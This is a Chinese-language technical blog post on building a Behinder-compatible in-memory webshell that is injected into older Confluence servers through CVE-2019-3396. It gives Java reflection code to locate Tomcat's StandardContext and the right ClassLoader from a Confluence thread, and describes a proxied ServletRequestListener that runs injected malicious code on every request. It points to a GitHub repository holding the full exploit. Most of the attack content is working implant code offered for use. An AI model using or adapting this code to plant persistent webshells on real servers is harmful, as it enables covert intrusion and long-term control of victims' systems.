CVE-2019-3396 Memshell for Behinder
会!唱!会!跳!
CVE-2019-3396 Memshell for Behinder
前言
在使用 java-memshell-generator 生成的 BCEL Payload 直接打 CVE-2019-3396 内存马的时候,发现是无法注入的,经过一段时间分析下来,发现是 Context 获取的原因,本文将分析 JMG 生成的内存马获取的 Context,和如果生成可以打 CVE-2019-3396 的内存马的思路。
JMG 的内存马生成
虽然这个 CVE 时间久远,有可能是环境过于久远导致的问题出现但是本文先分析 JMG 工具生成的内存马的 Context 的方式。
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap)getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
按照正常来说,是没有问题的,关键在于这里的 Confluence 较低的版本,在远程调试之后发现线程中的这些位置都没有想要的 Context,所以之前的判断是正确的,我们需要重新获取到对的 Context 对象。
获取正确的 Context
最终使用 java-object-searcher.jar 调试查找到了 StandardContext
的位置在
threads[x].contextClassLoader.confluenceMonitoring.registry.applicationContext.servletContext.context.context
具体的 getStandardContext
方法修改为以下
public static Object getStandardContext() throws Exception {
// 获取当前线程的所有线程
Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
try {
// 需要获取线程的特征包含 hz.confluence.scheduled.thread
if (thread.getName().contains("hz.confluence.scheduled.thread")) {
// threads[x].contextClassLoader.confluenceMonitoring.registry.applicationContext.servletContext.context.context
Object standardContext;
standardContext = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "contextClassLoader"),"confluenceMonitoring"),"registry"),"applicationContext"),"servletContext"),"context"),"context");
return standardContext;
}
} catch (Exception e) {
FileWriter writer = new FileWriter("touch /tmp/success-error-2");
PrintWriter printWriter = new PrintWriter(writer);
e.printStackTrace(printWriter);
printWriter.close();
writer.close();
}
}
// 没有获取到对应
Object standardContext = null;
return standardContext;
}
注意:
java-object-searcher.jar
放置位置问题。
java-object-searcher.jar
文件需要放在 Confluence 的classpath
的位置,然后使用docker compose restart
,最终在 URL http://192.168.127.137:8090/admin/classpath.action 中可以检查到 JAR 文件说明配置正确。
内存马的编写
这里我们可以拿到 StandardContext
对象,最方便的方式就是注入 Listener 内存马了,这里我们会遇到第一个问题
ClassLoader 的问题
假如你以为代码可以这么写的时候,会出现 ClassNotFoundException
的报错。
Class<?> filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
// 报错 java.lang.ClassNotFoundException: org.apache.tomcat.util.descriptor.web.FilterDef
// 一个例子,我们这里写的是 Listener 内存马,不需要在意这些细节
出现这个报错的原因是 ClassLoader 的问题,因为 Payload 打过去之后的 ClassLoader 是 XXX,而不是 XXX,所以我们需要重新获取 ClassLoader。再次查找对象可以在线程 hz.confluence.scheduled.thread
中获得。
// 先拿到 classLoader ,保证这个 classLoader 可以加载 tomcat 的 类
ClassLoader classLoader = null;
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
try {
// 需要获取线程的特征包含 hz.confluence.scheduled.thread
if (thread.getName().contains("hz.confluence.scheduled.thread")) {
//getField(thread, "contextClassLoader");
classLoader = thread.getContextClassLoader();
}
}catch (Exception e){}
}
参考思路
CVE-2023-22527-MEMSHELL/src/main/MemShell/BehinderMemShell.java
具体代码:Avento/CVE-2019-3396-Memshell-for-Behinder: CVE-2019-3396 Memshell for Behinder (github.com)
总结
通过创建一个动态代理对象,该对象实现了 ServletRequestListener
接口。每当调用 requestInitialized
方法时,该调用会被拦截并先执行 invoke
方法。在 invoke
方法中,我们可以注入自定义的恶意代码,例如冰蝎的注入代码。也就是说,我们的恶意代码是拦截下来调用的。